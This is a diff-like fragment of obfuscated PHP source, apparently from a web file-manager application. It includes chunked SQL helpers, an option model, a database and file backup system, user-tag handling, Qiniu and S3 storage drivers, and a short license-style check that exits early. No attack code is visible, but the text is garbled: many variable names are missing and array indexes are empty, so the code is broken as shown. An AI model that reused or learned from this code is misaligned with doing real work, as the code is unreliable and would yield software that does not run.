self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$Ϙ[292]]) || isset($[$Ϙ[353]])) { return parent::select($); } $Չꥱ = $[$Ϙ[275]][$][1]; $Չꥱ = is_array($Չꥱ) ? $Չꥱ : array(); $ = null; for ($Ĝ = 0; $Ĝ < count($Չꥱ); $Ĝ += $) { $¬ = array_slice($Չꥱ, $Ĝ, $); if (!is_array($¬) || count($¬) == 0) { break; } $[$Ϙ[275]][$][1] = $¬; $this->optionsValue($); $ޓ = parent::select($); if (!$ޓ) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $ޓ); } return $; } public function delete($ = array()) { $ =& $_SERVER[]; $ʯ = self::SQL_WHERE_IN_CHUNK; $ӈ = $this->optionsValue(); $ߵ = $this->findWhereField($ӈ); if (!$ߵ) { return parent::delete($); } $ = 0; $ͩ = $ӈ[$[275]][$ߵ][1]; $ͩ = is_array($ͩ) ? $ͩ : array(); for ($ = 0; $ < count($ͩ); $ += $ʯ) { $ = array_slice($ͩ, $, $ʯ); if (!is_array($) || count($) == 0) { break; } $ӈ[$[275]][$ߵ][1] = $; $this->optionsValue($ӈ); $ += parent::delete($); } return $; } private function findWhereField($Ŕ) { $Ɩ =& $_SERVER[]; $Ը = self::SQL_WHERE_IN_CHUNK; if (!is_array($Ŕ) || !is_array($Ŕ[$Ɩ[275]])) { return !1; } foreach ($Ŕ[$Ɩ[275]] as $︋ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $Ɩ[7] && is_array($[1]) && count($[1]) > $Ը) { ignore_timeout(); return $︋; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[][395], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\163\x74\145\x6d\x4f\160\164\151\x6f\x6e"; public $field = array(); public function listData($ = false, $¾ = "\x6d\157\x64\x69\x66\171\x54\151\x6d\x65", $ź = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $Ś = array_values($); if ($Ś && $Ś[0] && !is_array($Ś[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $¾, $ź); } return $[$_SERVER[][396] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[397], $this->optionType . $[398]); $ = $ ? $ : 0; $[$[399]] = ++$; $[$[201]] = time(); $[$[85]] = time(); Model($this->modelType)->set($[397], $, $this->optionType . $[398]); Model($this->modelType)->set($[396] . $, $, $this->optionType); return $; } public function update($, $ʖ) { $˲ =& $_SERVER[]; $ʖ = array_field_key($ʖ, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $ʖ = array_merge($, $ʖ); $ʖ[$˲[85]] = time(); return Model($this->modelType)->set($˲[396] . $, $ʖ, $this->optionType); } public function remove($ޛφ) { if (!$ޛφ) { return !1; } return Model($this->modelType)->remove($_SERVER[][396] . $ޛφ, $this->optionType); } public function clear() { $Ϣ =& $_SERVER[]; Model($this->modelType)->remove($Ϣ[397], $this->optionType . $Ϣ[398]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($ҵƑ, $⧘) { if (!$⧘) { return !1; } $뢓 = $this->listData(); $뢓 = array_to_keyvalue($뢓, $ҵƑ); return isset($뢓[$⧘]) ? $뢓[$⧘] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $ݟ =& $_SERVER[]; $ = is_array($) ? $ : array(); $؟ = array(); for ($ = 0; $ < count($); $++) { $؟[$ݟ[396] . $[$][$ݟ[399]]] = $[$]; } return Model($this->modelType)->set($؟, !1, $this->optionType); } private function getAutoName($Ũ) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$Ũ])) { return $Ũ; } for ($ = 1; $ < count($); $++) { $ʹ = $Ũ . "\50{$}\51"; if (!isset($[$ʹ])) { return $ʹ; } } return $ʹ; } } goto bޤ; Aє: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $؈ =& $_SERVER[]; $this->isManual(); self::$name = date($؈[744]); if (!($巽 = Model($؈[745])->lastItem())) { $巽 = $this->initData(); } else { self::$name = $巽[$؈[32]]; if ($巽[$؈[746]] == $؈[88]) { self::$name = date($؈[747]); $ = 0; if (isset($巽[$؈[293]][$؈[200]][$؈[468]])) { $ = (int) $巽[$؈[293]][$؈[200]][$؈[468]]; } if (self::$manual == 0 && $巽[$؈[32]] == self::$name) { Model($؈[745])->remove($巽[$؈[399]]); } $巽 = $this->initData($, $巽[$؈[748]]); } else { $this->checkStore($巽[$؈[748]]); } } self::$option = $巽; } private function isManual() { $Ј = _get($GLOBALS, $_SERVER[][749], 0); $Ј = intval($Ј); self::$manual = $Ј && $Ј == 1 ? 1 : 0; } private function initData($ꄽ = 0, $ص = '') { $Lj =& $_SERVER[]; $ = Model($Lj[745])->config(); if ($ص && $[$Lj[748]] != $ص) { $ꄽ = 0; } $this->checkStore($[$Lj[748]]); if (self::$manual == 1) { self::$name .= $Lj[11] . date($Lj[750]); } $NJο = array($Lj[748] => $[$Lj[748]], $Lj[32] => self::$name, $Lj[746] => 0, $Lj[751] => $[$Lj[751]], $Lj[752] => self::$manual, $Lj[293] => array($Lj[753] => array($Lj[746] => 0), $Lj[754] => array($Lj[746] => 0, $Lj[755] => 0, $Lj[756] => 0, $Lj[33] => $Lj[12], $Lj[757] => 0, $Lj[758] => 0), $Lj[759] => array($Lj[746] => 0, $Lj[755] => 0, $Lj[756] => 0, $Lj[757] => 0, $Lj[758] => 0), $Lj[200] => array($Lj[746] => 0, $Lj[760] => 0, $Lj[761] => 0, $Lj[762] => 0, $Lj[763] => 0, $Lj[468] => $ꄽ, $Lj[757] => 0, $Lj[758] => 0)), $Lj[757] => time(), $Lj[758] => 0); $탟 = Model($Lj[745])->insert($NJο); $NJο[$Lj[399]] = $탟; return $NJο; } private function checkStore($˜) { $ =& $_SERVER[]; $ֵ = Model($[764])->listData($˜); Model($[764])->checkConfig($ֵ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][745])->findByName(self::$name); } return self::$option; } public static function set($ܭ) { $ώ =& $_SERVER[]; $ܼ = self::get(); foreach ($ܭ as $IJ => $Д) { $˂ = explode($ώ[10], $IJ); $熡 = count($˂); switch ($熡) { case 1: $ܼ[$˂[0]] = $Д; break; case 2: $ܼ[$˂[0]][$˂[1]] = $Д; break; case 3: $ܼ[$˂[0]][$˂[1]][$˂[2]] = $Д; break; } } Model($ώ[745])->update($ܼ[$ώ[399]], $ܼ); self::$option = $ܼ; return self::$option; } public function keep() { $Ю =& $_SERVER[]; $墭ȳ = self::get(); if ($墭ȳ[$Ю[293]][$Ю[753]][$Ю[746]] == $Ю[88]) { return; } $this->backupKeep($墭ȳ); self::set(array($Ю[765] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $˫ = Model($[745])->listData(); if (empty($˫)) { return; } $ = 0; $ = array(); foreach ($˫ as $ݸ) { if ($ >= 7) { break; } $[] = $ݸ[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[766], strtotime("\x2d{$}\40\155\x6f\x6e\164\x68\x73")); } $ = array_unique($); $ٟ = Model($[767])->get($[768]); foreach ($˫ as $ݸ) { if (isset($ݸ[$[752]]) && $ݸ[$[752]] == $[88]) { continue; } if (!empty($ݸ[$[32]]) && in_array($ݸ[$[32]], $)) { continue; } Model($[745])->remove($ݸ[$[399]]); $ؑ = $this->backupPath($, $ٟ); IO::remove($ؑ, !1); } } private function backupPath($, $Ꙋ = false) { $Ц =& $_SERVER[]; if (!$Ꙋ) { $Ꙋ = Model($Ц[767])->get($Ц[768]); } $ = $[$Ц[32]]; $㛟 = substr(md5($Ц[769] . $Ꙋ . $), 0, 8); return "\173\x69\157\x3a{$[$Ц[748]]}\175\x2f\144\141\x74\x61\142\x61\x73\x65\x2f\142\x61\x63\x6b\x75\160\57" . $ . $Ц[11] . $㛟; } public function db() { $Т =& $_SERVER[]; $ǭ = self::get(); if ($ǭ[$Т[293]][$Т[754]][$Т[746]] == $Т[88]) { return !0; } $ﵚ = new BackupDb(); if (!$ﵚ->index()) { return !1; } self::set(array($Т[770] => 1)); return !0; } public function dbFile() { $ښ拊 =& $_SERVER[]; $ә = self::get(); if ($ә[$ښ拊[293]][$ښ拊[759]][$ښ拊[746]] == $ښ拊[88]) { return !0; } $ꓞ = new BackupDbFile(); if (!$ꓞ->index()) { return !1; } self::set(array($ښ拊[771] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $٭Χ = self::get(); if ($٭Χ[$[293]][$[200]][$[746]] == $[88]) { return !0; } if (!isset($٭Χ[$[751]]) || $٭Χ[$[751]] == $[198]) { $ў = new BackupFile(); if (!$ў->index()) { return !1; } } self::set(array($[772] => 1, $[746] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ə =& $_SERVER[]; $ݰ = Backup::get(); self::$io = $ݰ[$ə[748]]; self::$name = $ݰ[$ə[32]]; $Ʋ = new DbManage(); $ސ = $Ʋ->dbType(); $ = array($ə[773] => $ސ, $ə[774] => time()); Backup::set($); $ = $this->tmpFilesPath() . $ə[775] . self::$name . $ə[8]; del_dir($); mk_dir($); $֍ = $ = 0; $ = new Task($ə[776], $ə[777], 0, LNG($ə[778]) . $ə[779] . LNG($ə[780])); try { $ = $Ʋ->db()->getTables(); } catch (Exception $٣) { $->end(); return !1; } $ = array_diff($, array($ə[781], $ə[782])); foreach ($ as $钾) { $֍ += $Ʋ->model($钾)->count(); } $->task[$ə[783]] = $֍; $GLOBALS[$ə[784]] = self::$name; foreach ($ as $钾) { $˜ = $ . $钾 . $ə[785]; $С = null; if ($钾 == $ə[786] && (!isset($ݰ[$ə[751]]) || $ݰ[$ə[751]] == $ə[198])) { $С = self::$io; } $ += $Ʋ->sqlFromDb($钾, $˜, $, $С); } unset($GLOBALS[$ə[784]]); $->end(); if ($ > $֍) { $֍ = $; } $ = array($ə[773] => $ސ, $ə[770] => 1, $ə[787] => $֍, $ə[788] => $, $ə[789] => time()); Backup::set($); if ($֍ - $ > 0) { $Ѵ = $ə[790]; if (stristr(I18n::getType(), $ə[791])) { $Ѵ = $ə[792]; } write_log(array($Ѵ, $), $ə[777]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ʉ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[793]]) { $ʉ = $GLOBALS[$[6]][$[89]][$[793]]; if (!mk_dir($ʉ) || !is_writable($ʉ) || !IO::mkfile($ʉ . $[794])) { $ʉ = TEMP_FILES; } } return $ʉ; } } class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); $ť = $[$[32]]; $ۨ߯ = $this->tmpFilesPath() . "\142\x61\143\x6b\165\160\137{$ť}\57"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($ۨ߯); $ = isset($[$[83]]) ? $[$[83]] : array(); $ț = array_sum(array_column($, $[76])); if (!$ț) { return !1; } $ = array($[795] => $ț, $[796] => time()); Backup::set($); $ꖃ = new TaskFileTransfer($[797], $[777], count($), LNG($[778]) . $[386] . LNG($[780]) . $[798]); $ꖃ->task[$[760]] = $ț; foreach ($[$[83]] as $߂ޝ) { $ = IO::move($߂ޝ[$[84]], $); if (!$) { $ꖃ->end(); $軴 = IO::getLastError($[799] . $߂ޝ[$[84]] . $[800] . $ . $[164]); write_log($軴, $[777]); return !1; } } $Ő = new DbManage(); $߄ɛ = $Ő->getSqlFile(); if (!$߄ɛ[$[801]] || !$߄ɛ[$[13]]) { return !1; } IO::move($߄ɛ[$[801]], $); IO::move($߄ɛ[$[13]], $); $ꖃ->end(); $ = array($[802] => $ț, $[803] => time()); Backup::set($); return !0; } private function backupPath($ɪ) { $ۉԙ =& $_SERVER[]; $ = $ɪ[$ۉԙ[32]]; $ܛ = Model($ۉԙ[767])->get($ۉԙ[768]); $ = substr(md5($ۉԙ[769] . $ܛ . $), 0, 8); return "\173\151\x6f\x3a{$ɪ[$ۉԙ[748]]}\x7d\57\x64\x61\x74\141\142\x61\x73\x65\57\x62\x61\x63\x6b\x75\x70\57" . $ . $ۉԙ[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[793]]) { $ = $GLOBALS[$[6]][$[89]][$[793]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[794])) { $ = TEMP_FILES; } } return $; } } goto dރ; B߿: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ªȸ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($̅, $ϣ) { return $̅ == $ϣ; } goto eꯪ; fِ: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\x65\162\137\x66\141\166"; protected function cacheFunctionAlias($ŀ) { $Ӷ =& $_SERVER[]; return array($Ӷ[1963] => array($Ӷ[2347] . USER_ID, $Ӷ[1964])); } protected function listData() { $Ɂ =& $_SERVER[]; $ę = array($Ɂ[1654] => USER_ID, $Ɂ[483] => array($Ɂ[1967], 0)); $ = $Ɂ[2348]; $γ = $this->field($)->where($ę)->order($Ɂ[1970])->select(); return $γ ? $γ : array(); } protected function addToTag($, $) { $˙ =& $_SERVER[]; if (!Model($˙[2111])->listData($)) { return !1; } if (is_numeric($)) { $ = Model($˙[822])->pathInfo($); if (!$) { return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $Ⲿ = $[$˙[32]]; $Č = $[$˙[33]]; if (isset($[$˙[410]])) { $Č = $[$˙[410]] == $˙[88] ? $˙[75] : $˙[200]; } } $䡫 = array($˙[1654] => USER_ID, $˙[483] => $, $˙[421] => $, $˙[422] => $Č ? $Č : $˙[416], $˙[420] => $Ⲿ ? $Ⲿ : $˙[12], $˙[1856] => 0); if ($this->where($䡫)->find()) { return !1; } return $this->add($䡫); } protected function removeFromTag($ɽ, $珺) { $ =& $_SERVER[]; if (!Model($[2111])->listData($珺)) { return !1; } if (is_array($ɽ)) { $ɽ = array($[7], $ɽ); } $֮ = array($[1654] => USER_ID, $[483] => $珺, $[421] => $ɽ); return $this->where($֮)->delete(); } protected function removeByTag($) { $퍶 =& $_SERVER[]; if (!$) { return !1; } $؇ = array($퍶[1654] => USER_ID, $퍶[483] => $); return $this->where($؇)->delete(); } protected function removeBySource($Ķ) { $檧 =& $_SERVER[]; if (is_array($Ķ)) { $Ķ = array($檧[7], $Ķ); } $ = array($檧[1654] => USER_ID, $檧[483] => array($檧[1010], 0), $檧[421] => $Ķ); return $this->where($)->delete(); } }
\ No newline at end of file
+ goto D; c菂: define($_SERVER[][604], $_SERVER[][605]); $ugqlyfcmix = $_SERVER[][606]; if (strlen($ugqlyfcmix) < $_SERVER[][607]) { die; } goto f; E͚: class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($לdz) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1439]; $this->_init($לdz); } public function _init($悫) { $lj =& $_SERVER[]; $this->config = $悫; foreach ($悫 as $ => $٫) { if (isset($this->{$})) { $this->{$} = $٫; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($lj[1440] . LNG($lj[1398])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ݛ, $ֳ = '', $˥ = REPEAT_RENAME) { if ($this->setContent($ݛ, $ֳ)) { return $this->getPathOuter($ݛ); } return !1; } public function mkdir($ב, $ = REPEAT_SKIP) { $ѹϿ =& $_SERVER[]; $ = trim($ב, $ѹϿ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ב = $ . $ѹϿ[8]; $ = get_path_this($); $ܡŇ = $ב . $; if (!$this->mkfile($ܡŇ)) { return !1; } if (!$this->moveFile($ܡŇ, $ב)) { $this->delFile($ܡŇ); return !1; } return $this->getPathOuter($); } public function copyFile($, $綄) { $¹ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $綄, !0); return $¹ ? !1 : $this->getPathOuter($綄); } public function moveFile($, $Κ) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $Κ, !0); return $ ? !1 : $this->getPathOuter($Κ); } public function delFile($؏) { if (!$this->exist($؏)) { return !0; } $Ъ = $this->bucketManager->delete($this->bucket, $؏); return $Ъ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[198] && !in_array($, $[$[82]])) { $[$[82]][] = $; } $ڍ = $this->delByBatch($[$[83]]); if (!$ڍ) { return !1; } $ڍ = $this->delByBatch($[$[82]]); if (!$ڍ) { return !1; } return $this->delFile($); } private function delByBatch($ۯ) { foreach (array_chunk($ۯ, 1000) as $ƙ) { $䣫 = $this->bucketManager->buildBatchDelete($this->bucket, $ƙ); list($ҏ, $Ѽ) = $this->bucketManager->batch($䣫); if ($Ѽ) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $͛ = false, $ = array()) { $ް =& $_SERVER[]; $З = array($ް[32] => $this->pathThis($), $ް[84] => $this->getPathOuter($ް[8] . $), $ް[33] => $ް[200], $ް[76] => isset($[$ް[1441]]) ? $[$ް[1441]] : 0, $ް[174] => $this->ext($)); if ($͛) { return $З; } $З[$ް[201]] = $З[$ް[85]] = 0; $З[$ް[202]] = $З[$ް[203]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $З; } } if (isset($[$ް[1442]])) { $З[$ް[85]] = substr($[$ް[1442]] . $ް[12], 0, 10); } if (isset($[$ް[1441]])) { $З[$ް[76]] = $[$ް[1441]]; } return $З; } public function folderInfo($ߔ, $ = false) { $Ȩ =& $_SERVER[]; $ܹ = array($Ȩ[32] => $this->pathThis($ߔ), $Ȩ[84] => $this->getPathOuter($Ȩ[8] . $ߔ), $Ȩ[33] => $Ȩ[75]); if ($) { return $ܹ; } $ܹ[$Ȩ[201]] = $ܹ[$Ȩ[85]] = 0; $ܹ[$Ȩ[202]] = $ܹ[$Ȩ[203]] = !0; $ߔ = rtrim($ߔ, $Ȩ[8]) . $Ȩ[8]; $鳿 = $this->objectMeta($ߔ); if (isset($鳿[$Ȩ[1442]])) { $ܹ[$Ȩ[85]] = substr($鳿[$Ȩ[1442]] . $Ȩ[12], 0, 10); } return $ܹ; } public function listPath($ȷ, $̨͒ = false) { $ =& $_SERVER[]; $ = $this->fileList($ȷ, $[8], !0); foreach ($[$[82]] as $š => $ݙ) { $[$[82]][$š] = $this->folderInfo($ݙ, $̨͒); } foreach ($[$[83]] as $š => $ݙ) { $[$[83]][$š] = $this->fileInfo($ݙ[$[94]], $̨͒, $ݙ); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ؐ = empty($) && $ !== $[198] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ʚ = $ = 0; while (!0) { check_abort(); list($, $õ) = $this->bucketManager->listFiles($this->bucket, $ؐ, $, $, $); if ($õ) { break; } $ = array_key_exists($[1410], $) ? $ = $[$[1443]] : $[12]; if ($) { if (!empty($[$[1444]])) { $ʚ += count($[$[1444]]); } if (!empty($[$[1445]])) { $ += count($[$[1445]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1444]])) { return !0; } } else { if (!empty($[$[1445]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[207] => $ʚ, $[208] => $); } return !1; } public function listAll($ٕ̓) { $ =& $_SERVER[]; $̖ʌ = $this->fileList($ٕ̓, $[12], !0); $ǒ = array_to_keyvalue($̖ʌ[$[83]], $[32]); foreach ($̖ʌ[$[82]] as $ҭ) { if (is_string($ҭ)) { $ǒ[$ҭ] = array($[76] => 0); } } return $this->listAllFiles($ٕ̓, $ǒ); } private function fileList($ˡ, $ů = '', $ = 0) { $ⱚ͛ =& $_SERVER[]; $ˡ = trim($ˡ, $ⱚ͛[8]); $ƅ = empty($ˡ) && $ˡ !== $ⱚ͛[198] ? $ⱚ͛[12] : $ˡ . $ⱚ͛[8]; $Ҡ = $ⱚ͛[12]; $ѳ = 1000; $ݢ = $ = array(); while (!0) { check_abort(); list($ϧ, $) = $this->bucketManager->listFiles($this->bucket, $ƅ, $Ҡ, $ѳ, $ů); if ($) { break; } $Ҡ = array_key_exists($ⱚ͛[1410], $ϧ) ? $Ҡ = $ϧ[$ⱚ͛[1443]] : $ⱚ͛[12]; $ = isset($ϧ[$ⱚ͛[1444]]) ? $ϧ[$ⱚ͛[1444]] : array(); $ = isset($ϧ[$ⱚ͛[1445]]) ? $ϧ[$ⱚ͛[1445]] : array(); foreach ($ as $ܩŕ) { if ($ܩŕ[$ⱚ͛[94]] == $ƅ) { continue; } $ = $ܩŕ[$ⱚ͛[94]]; $ݗ = $ܩŕ[$ⱚ͛[1441]]; $ܩŕ[$ⱚ͛[76]] = $ݗ; $Ңݳ = $ݗ == 0 && substr($, strlen($) - 1, 1) == $ⱚ͛[8] ? !0 : !1; $this->cacheMethodInfoSet($, $Ңݳ, $ܩŕ); if ($Ңݳ) { $ݢ[] = $; continue; } $[] = $ ? $ܩŕ : $; } foreach ($ as $) { if ($ == $ƅ) { continue; } $ݢ[] = $; $this->cacheMethodInfoSet($, !0); } if ($Ҡ === $ⱚ͛[12]) { break; } } $this->cacheMethodInfoSet($ˡ, !0); return array($ⱚ͛[82] => $ݢ, $ⱚ͛[83] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($շ) { return $this->exist($շ) ? !0 : !1; } public function getContent($և) { return $this->fileSubstr($և, 0, -1); } public function setContent($ؕ, $̳ = '') { $ = $this->tempFile($this->pathThis($ؕ)); file_put_contents($, $̳); if ($this->upload($ؕ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $걶ޒ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ॿ = new Qiniu\Cdn\CdnManager($this->auth); list($ʬ, $ȗ) = $ॿ->refreshUrls($); if ($ȗ) { return !1; } return $ʬ[$걶ޒ[1184]] == $걶ޒ[758] ? !0 : !1; } public function fileSubstr($, $٘, $œ) { $ڮ =& $_SERVER[]; if (!($ѽ = $this->link($))) { return !1; } $Ϭ = !1; if ($œ > 0) { $䵼 = $٘ + $œ - 1; $Ϭ = array($ڮ[1446] . $٘ . $ڮ[386] . $䵼); } $Έޯ = url_request($ѽ, $ڮ[230], !1, $Ϭ); return $Έޯ[$ڮ[748]] ? $Έޯ[$ڮ[1204]] : !1; } public function upload($, $, $ = false, $˲ב = REPEAT_REPLACE) { $ۧѹ = new Qiniu\Storage\UploadManager(); $ԏ = $this->auth->uploadToken($this->bucket, $); $ˬ = get_file_mime(get_path_ext($)); list($֜, $؞ñ) = $ۧѹ->putFile($ԏ, $, $, null, $ˬ); return $؞ñ ? !1 : $this->getPathOuter($); } public function uploadFormData($܆, $ = 3600) { return $this->uploadToken($܆, $); } public function multiUploadFormData($˳, $ = 3600) { return $this->uploadToken($˳, $); } private function uploadToken($Ն, $圅 = 3600) { $ =& $_SERVER[]; $ = $圅; $ = array($[1447] => $[1448]); $ǃ책 = $Ն; $ߜ = $this->auth->uploadToken($this->bucket, $ǃ책, $, $, !0); $ꛌ = empty($this->region) || $this->region == $[1449] ? $[12] : $[386] . $this->region; $ܧ = http_type() . "\72\x2f\57\x75\x70\154\x6f\x61\144{$ꛌ}\x2e\x71\x69\x6e\x69\165\x70\56\x63\157\155\x2f"; return array($[1450] => $ߜ, $[1451] => $ܧ); } public function download($, $՛) { $ = IO::getPathInner(IO::mkfile($՛)); if (!($Ӌ = $this->link($))) { return !1; } $ʶ = 0; $擁Ы = 1024 * 200; $凩 = fopen($, $_SERVER[][1452]); while (!0) { $ŷ = $this->fileSubstr($, $ʶ, $擁Ы); if ($ŷ === !1) { return !1; } fwrite($凩, $ŷ); $ʶ += $擁Ы; if (strlen($ŷ) < $擁Ы) { break; } } fclose($凩); return $՛; } public function link($ݩ, $͊ = '') { if (!$this->isFile($ݩ)) { return !1; } $Ó = $this->getHost() . $_SERVER[][8] . $this->pathEncode($ݩ) . $͊; return $this->auth->privateDownloadUrl($Ó, 3600 * 12); } public function fileOut($Ĵ, $ܒ = false, $ = false, $곻ԙ = '') { $ʑ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($Ĵ, $ܒ, $, $곻ԙ); } if (!$) { $ = $this->pathThis($Ĵ); } $ѐ = $ܒ ? $ʑ[1453] . rawurlencode($) : $ʑ[12]; $ = $this->link($Ĵ, $ѐ); $this->fileOutLink($); } public function fileOutServer($¼, $ = false, $ӳ = false, $钗 = '') { parent::fileOut($¼, $, $ӳ, $钗); } public function fileOutImage($荟, $܆ = 250) { $뿃 = $this->link($荟, $_SERVER[][1454] . $܆); $this->fileOutLink($뿃); } public function fileOutImageServer($, $ҁә = 250) { parent::fileOutImage($, $ҁә); } public function hashMd5($ٿф) { $ =& $_SERVER[]; $ѯ = $this->objectMeta($ٿф); return isset($ѯ[$[212]]) ? $ѯ[$[212]] : !1; $½ = $this->link($ٿф, $[1455]); } public function size($) { $ۮ = $this->objectMeta($); return $ۮ ? $ۮ[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ິ) { return !$this->isFolder($ິ) && $this->objectMeta($ິ); } public function isFolder($٩) { return $this->cacheMethod($_SERVER[][165], $٩); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($ŕ) { $ =& $_SERVER[]; list($돵Ֆ, $ơ) = $this->bucketManager->stat($this->bucket, $ŕ); if ($돵Ֆ) { $돵Ֆ[$[76]] = intval($돵Ֆ[$[1441]]); } return $돵Ֆ; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $Ǫ) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1444]]) || !empty($[$[1445]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ҰNJ = 3600) { $佴 =& $_SERVER[]; $ӿ = $佴[199]; $ = $佴[1360]; $ǿ = $佴[62]; $ = gmdate($佴[1361]); $̅ = gmdate($佴[749]); $ɰ = $佴[1362]; $î = $ҰNJ . $佴[12]; $ = $佴[1324]; $ = array($this->accessKey, $̅, $this->region, $ǿ, $ɰ); $ = implode($佴[8], $); $ܿ = array($佴[1326] => gmdate($佴[1325], strtotime($佴[1363])), $佴[1327] => array(array($佴[1329] => $this->bucket), array($佴[1328] => $ӿ), array($佴[1330], $佴[1331], $佴[12]), array($佴[1330], $佴[1364], $佴[12]), array($佴[1330], $佴[1365], $佴[12]), array($佴[1332] => $), array($佴[1366] => $), array($佴[1367] => $), array($佴[1368] => $), array($佴[1369] => $î))); $ھ = base64_encode(json_encode($ܿ)); $ޯ = hash_hmac($佴[1370], $̅, $佴[1371] . $this->secret, !0); $ȩ = hash_hmac($佴[1370], $this->region, $ޯ, !0); $빯 = hash_hmac($佴[1370], $ǿ, $ȩ, !0); $ = hash_hmac($佴[1370], $ɰ, $빯, !0); $Ǖ = hash_hmac($佴[1370], $ھ, $); $ÿ = array($佴[215] => $佴[12], $佴[1372] => $佴[12], $佴[1328] => $ӿ, $佴[1332] => $, $佴[1336] => $ھ, $佴[1373] => $, $佴[1374] => $, $佴[1375] => $, $佴[1376] => $î, $佴[1377] => $Ǖ, $佴[182] => $this->getHost()); return $ÿ; } public function multiUploadFormData($, $Ŏ = 3600) { $ߔ =& $_SERVER[]; $Ø = gmdate($ߔ[1456]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($ߔ[223] => $, $ߔ[182] => $this->getHost() . $ߔ[8] . $this->pathEncode($), $ߔ[224] => $Ø, $ߔ[94] => $); } public function multiUploadAuthData($, $ۚҗ = array()) { $ =& $_SERVER[]; $ï = isset($ۚҗ[$[174]]) ? $ۚҗ[$[174]] : $[12]; $ = $ۚҗ[$[94]]; unset($ۚҗ[$[94]]); if (isset($ۚҗ[$[225]])) { return $this->listUploadParts($, $ۚҗ); } $ = array(); if (isset($ۚҗ[$[1457]])) { $[$[1458]] = $ۚҗ[$[1457]]; } $ = explode($[184], $this->getHost()); $ = array($[1459] => $[1], $[1460] => $[12], $[215] => $[120], $[1372] => $ۚҗ[$[76]]); $ϡ = $[228]; $ = $[8] . $this->pathEncode($) . $ï; $ = $this->client->__getSignatureV4($, $, $ϡ, $); if (strpos($ï, $[227]) === 0) { if (isset($[$[1458]])) { $ = $[$[1458]]; } else { if (isset($[$[1458]])) { $ = $[$[1458]]; } else { $ = 